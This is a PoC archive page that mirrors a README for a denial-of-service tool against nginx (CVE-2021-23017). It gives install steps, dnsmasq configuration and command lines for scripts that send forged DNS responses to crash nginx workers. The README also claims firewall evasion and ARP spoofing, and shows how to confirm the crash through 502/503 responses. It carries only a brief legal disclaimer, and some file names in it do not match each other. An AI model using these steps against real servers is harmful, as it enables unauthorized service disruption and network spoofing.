Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CVE-2021-23017 PoC — F5 NGINX Controller 安全漏洞

Source
Associated Vulnerability
Title: F5 NGINX Controller 安全漏洞 (CVE-2021-23017)
Description:A security issue in nginx resolver was identified, which might allow an attacker who is able to forge UDP packets from the DNS server to cause 1-byte memory overwrite, resulting in worker process crash or potential other impact.
Description
vulnerability in NGINX servers (versions 0.6.18–1.20.0). The scripts aim to cause a Denial of Service (DoS) by sending malicious DNS responses, with enhancements to bypass firewalls.
Readme

vulnerability in NGINX servers (versions 0.6.18–1.20.0). The scripts aim to cause a Denial of Service (DoS) by sending malicious DNS responses, with enhancements to bypass firewalls. This is an improved version of the original PoC from [M507/CVE-2021-23017-PoC](https://github.com/M507/CVE-2021-23017-PoC) .

**Warning**: Use only with explicit written permission from the system owner. Unauthorized testing is illegal.

## Requirements
- **Environment**: Linux (e.g., Kali Linux, via Termux/virtualized setup).
- **Dependencies**:
  ```bash
  sudo apt-get update
  sudo apt-get install python3-scapy dnsmasq
  pip3 install scapy requests
  ```
- **Network**: Same subnet as the target for ARP spoofing, or the target NGINX must use your DNS server IP.


## Installation
1. Clone the repository:
   ```bash
   git clone https://github.com/6lj/EVIL-CVE-2021-23017-Update-2025.git
   cd evil-CVE-2021-23017
   ```
2. Set up `dnsmasq`:
   ```bash
   sudo nano /etc/dnsmasq.conf
   ```
   Add:
   ```
   address=/test.example.com/192.168.1.100
   ```
   Start:
   ```bash
   sudo systemctl start dnsmasq
   ```

## What It Does
- Sends malicious DNS responses with a long domain name (`AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.test.com`) to crash the NGINX server.
- Triggers DNS queries using `curl` and `dig` to exploit the vulnerability.
- Bypasses firewalls by sending direct DNS packets and using parallel processes.

## Differences from Original
Compared to [M507/CVE-2021-23017-PoC](https://github.com/M507/CVE-2021-23017-PoC):
- **Enhanced Firewall Bypass**: Uses parallel processes in `poc1.2.3.py` for simultaneous sniffing, DNS sending, and query triggering , you must Run the three together.
- **Optimized Packet Delivery**: Higher frequency of packets and queries to evade firewall filters.
- **Subnet Checking**: Verifies network compatibility for ARP spoofing, improving reliability.

## Usage
Run the three together and Run with appropriate arguments (replace `<target_ip>`, `<your_dns_server_ip>`, `<target_url>`).

### `poc.py`
```bash
python3 poc.py --dns_server <your_dns_server_ip> --iface eth0 --count 50 --target_url http://<target_url>
```
- Sniffs and responds to DNS queries.

### `poc2.py`
```bash
python3 poc2.py --target <target_ip> --dns_server <your_dns_server_ip> --iface eth0 --count 50 --target_url http://<target_url>
```
- Adds direct DNS sending and query triggering.

### `poc3.py` (Recommended)
```bash
python3 poc3.py --target <target_ip> --dns_server <your_dns_server_ip> --iface eth0 --target_url http://<target_url>
```
- Runs tasks in parallel for maximum efficiency.

### Example
```bash
python3 poc3.py --target 192.168.1.100 --dns_server 192.168.1.101 --iface eth0 --target_url http://192.168.1.100
```

## Verify Results
- Check server status:
  ```bash
  curl -I http://<target_url>
  ```
  - **Success**: `502 Bad Gateway` or `503 Service Unavailable` indicates a server crash.
  - **Failure**: `200 OK` suggests no vulnerability or firewall blocking.

- Monitor DNS traffic:
  ```bash
  sudo wireshark -f "udp port 53"
  ```



**Disclaimer**: For educational purposes only. Authors are not responsible for misuse.
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →